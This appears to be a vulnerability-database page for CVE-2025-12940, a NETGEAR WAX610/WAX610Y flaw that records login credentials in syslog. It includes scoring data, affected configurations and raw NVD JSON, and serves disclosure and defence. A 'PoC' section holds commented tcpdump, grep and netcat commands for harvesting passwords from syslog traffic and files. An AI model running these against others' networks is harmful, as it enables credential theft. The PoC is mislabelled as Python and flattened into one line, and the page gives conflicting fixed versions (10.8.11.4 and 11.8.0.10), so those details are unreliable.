Security Vulnerability Report
中文
CVE-2025-12940 CVSS 5.5 MEDIUM

CVE-2025-12940

Published: 2025-11-11 17:15:39
Last Modified: 2025-12-08 14:24:51
Source: a2826606-91e7-4eb6-899e-8484bd4575d5

Description

Login credentials are inadvertently recorded in logs if a Syslog Server is configured in NETGEAR WAX610 and WAX610Y (AX1800 Dual Band PoE Multi-Gig Insight Managed WiFi 6 Access Points). An user having access to the syslog server can read the logs containing these credentials.  This issue affects WAX610: before 10.8.11.4; WAX610Y: before 10.8.11.4. Devices managed with Insight get automatic updates. If not, please check the firmware version and update to the latest. Fixed in: WAX610 firmware 11.8.0.10 or later. WAX610Y firmware 11.8.0.10 or later.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:netgear:wax610y_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:wax610y:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:netgear:wax610_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:wax610:-:*:*:*:*:*:*:* - NOT VULNERABLE
NETGEAR WAX610 < 10.8.11.4
NETGEAR WAX610Y < 10.8.11.4
NETGEAR WAX610 < 11.8.0.10 (未修复版本)
NETGEAR WAX610Y < 11.8.0.10 (未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-12940 PoC - NETGEAR WAX610/WAX610Y Syslog Credential Leak # This PoC demonstrates how to extract credentials from syslog # Configuration SYSLOG_SERVER="192.168.1.100" SYSLOG_PORT="514" # Method 1: Using tcpdump to capture syslog traffic # tcpdump -i any -A 'port 514' | grep -i 'password\|login\|credential' # Method 2: Reading local syslog file (if accessible) # grep -E '(password|login|passwd|credential)' /var/log/syslog # Method 3: Using netcat to receive syslog messages # nc -l -p 514 -u > captured_logs.txt echo "[+] CVE-2025-12940 Syslog Credential Extraction" echo "[+] Target: NETGEAR WAX610/WAX610Y" echo "[+] Method: Analyze syslog for leaked credentials" echo "" echo "Expected log format example:" echo "Nov 11 17:15:39 WAX610 login: username=<user> password=<pass>" echo "" echo "[+] Use grep to search for authentication-related entries:" echo "grep -E 'login|username|password|auth' <syslog_file>"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12940", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2025-11-11T17:15:39.090", "lastModified": "2025-12-08T14:24:51.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Login credentials are inadvertently recorded in logs if a Syslog Server is configured in NETGEAR WAX610\nand WAX610Y (AX1800 Dual Band PoE Multi-Gig Insight Managed WiFi 6\nAccess Points). An user having access to the syslog server can read the logs containing these credentials. \n\nThis issue affects WAX610: before 10.8.11.4; WAX610Y: before 10.8.11.4.\n\n\nDevices\nmanaged with Insight get automatic updates. If not, please check the firmware version\nand update to the latest. \n\n\n\n\n\nFixed in:\n\n\n\nWAX610 firmware\n11.8.0.10 or later.\n\n\n\nWAX610Y firmware\n11.8.0.10 or later."}], "metrics": {"cvssMetricV40": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:L/U:Amber", "baseScore": 0.5, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:wax610y_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.8.0.10", "matchCriteriaId": "C1103F99-4FFD-4B3E-A461-48FF194CCD0F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:wax610y:-:*:*:*:*:*:*:*", "matchCriteriaId": "724E738E-FB14-4190-94F4-B0442248BD1E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:wax610_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.8.0.10", "matchCriteriaId": "0C286EAF-C6D2-4132-8FCF-79937B12C289"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:wax610:-:*:*:*:*:*:*:*", "matchCriteriaId": "5C86845A-17B3-40B4-AAFD-E703FDB8A1EE"}]}]}], "references": [{"url": "https://kb.netgear.com/000070355/NETGEAR-Security-Advisories-November-2025", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Vendor Advisory"]}, {"url": "https://www.netgear.com/support/product/wax610", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Product"]}, {"url": "https://www.netgear.com/support/product/wax610y", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Product"]}]}}